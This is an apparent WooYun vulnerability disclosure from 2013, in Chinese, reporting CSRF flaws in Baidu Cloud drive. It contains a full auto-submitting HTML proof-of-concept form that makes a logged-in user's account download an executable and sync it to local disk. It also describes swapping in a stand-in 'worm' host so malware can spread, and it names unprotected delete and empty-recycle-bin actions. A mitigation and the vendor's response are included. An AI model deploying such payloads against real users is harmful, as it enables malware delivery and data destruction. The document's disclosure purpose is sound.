当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022078

漏洞标题:百度云网盘多处CSRF,某功能可导致蠕虫,将恶意程序同步到用户计算机

相关厂商:百度

漏洞作者: 小点兵

提交时间:2013-04-18 15:37

修复时间:2013-06-02 15:38

公开时间:2013-06-02 15:38

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-18: 细节已通知厂商并且等待厂商处理中
2013-04-18: 厂商已经确认,细节仅向厂商公开
2013-04-28: 细节向核心白帽子及相关领域专家公开
2013-05-08: 细节向普通白帽子公开
2013-05-18: 细节向实习白帽子公开
2013-06-02: 细节向公众公开

简要描述:

百度云网盘多处操作未做CSRF防护,其中某功能操作可被蠕虫病毒利用。
在用户安装并使用百度云自动同步客户端的情况下,蠕虫病毒可将自身通过这个CSRF漏洞自动复制到用户的本地目录

详细说明:

百度云网盘多处操作未做CSRF防护,其中的离线下载操作可被蠕虫病毒利用。在用户安装并使用百度云自动同步客户端的情况下,蠕虫病毒可将自身通过这个CSRF漏洞自动复制到用户的本地目录
==================================================

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>Baidu CSRF</title>
</head>
<body>
<form name="form1" action="http://pan.baidu.com/rest/2.0/services/cloud_dl?" method="POST">
<input type="hidden" name="method" value="add_task">
<input type="hidden" name="BDUSS" value="any value">
<input type="hidden" name="app_id" value="250528">
<input type="hidden" name="source_url" value="http://bcscdn.baidu.com/netdisk/BaiduYun_3.6.0.exe">
<input type="hidden" name="save_path" value="/">
</form>
<script language="javascript">
document.form1.submit()
</script>
</body>
</html>


=======================================================
将上面的代码放在某台网络机器上并通过<frame>,<iframe>等tag散布出去。当百度云网盘用户在登录状态下点击, 文件BaiduYun_3.6.0.exe将会自动被下载到用户的网盘中。如果用户同时使用百度云网盘对网盘和本地磁盘进行同步,BaiduYun_3.6.0.exe将会被下载到用户本地。
蠕虫病毒可以很容易的将自己命名为某些流行软件,比如BaiduYun_3.6.0.exe。然后将上述代码的
<input type="hidden" name="source_url" value="http://bcscdn.baidu.com/netdisk/BaiduYun_3.6.0.exe">
替换为
<input type="hidden" name="source_url" value="http://worm/BaiduYun_3.6.0.exe">
就能完成蠕虫的传播!
除了这个漏洞,百度云网盘的删除文件操作和清空回收站操作也未做CSRF防护。虽然删除文件操作必须知道具体的文件名和路径才能进行操作,但是清空回收站却可以直接将所有回收站里的东西删除。

漏洞证明:

攻击前百度云网盘中没有BaiduYun_3.6.0.exe:

web_1.jpg


攻击前本地磁盘中没有BaiduYun_3.6.0.exe:

local_1.jpg


攻击过程(在真实攻击中,下面的两张图是不可见的。这里是为了方便描述):

attack_1.jpg


attack_2.jpg


攻击后百度云网盘中出现了BaiduYun_3.6.0.exe:

web_2.jpg


攻击后本地磁盘中出现了BaiduYun_3.6.0.exe:

local_2.jpg

修复方案:

CSRF的一般性防护。
这里值得一提的是,在离线下载操作的POST表单中,包含了BDUSS参数。这个参数在登录用户的cookie中也存在。只要在操作前,将这两个参数进行比较,就能防护CSRF。
但是,删除文件操作和清空回收站操作没有包含此BDUSS参数。需要进一步改进代码。
另外,其余操作是否也存在类似问题,我没有一一测试,比如离线bt下载等。希望厂商在相关的地方都检查下:-)

版权声明:转载请注明来源 小点兵@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-04-18 16:33

厂商回复:

感谢提交,已联系业务部门指定修复方案进行修复,该csrf漏洞确实粗在,但是不存在利用该csrf造成蠕虫的问题。

最新状态:

暂无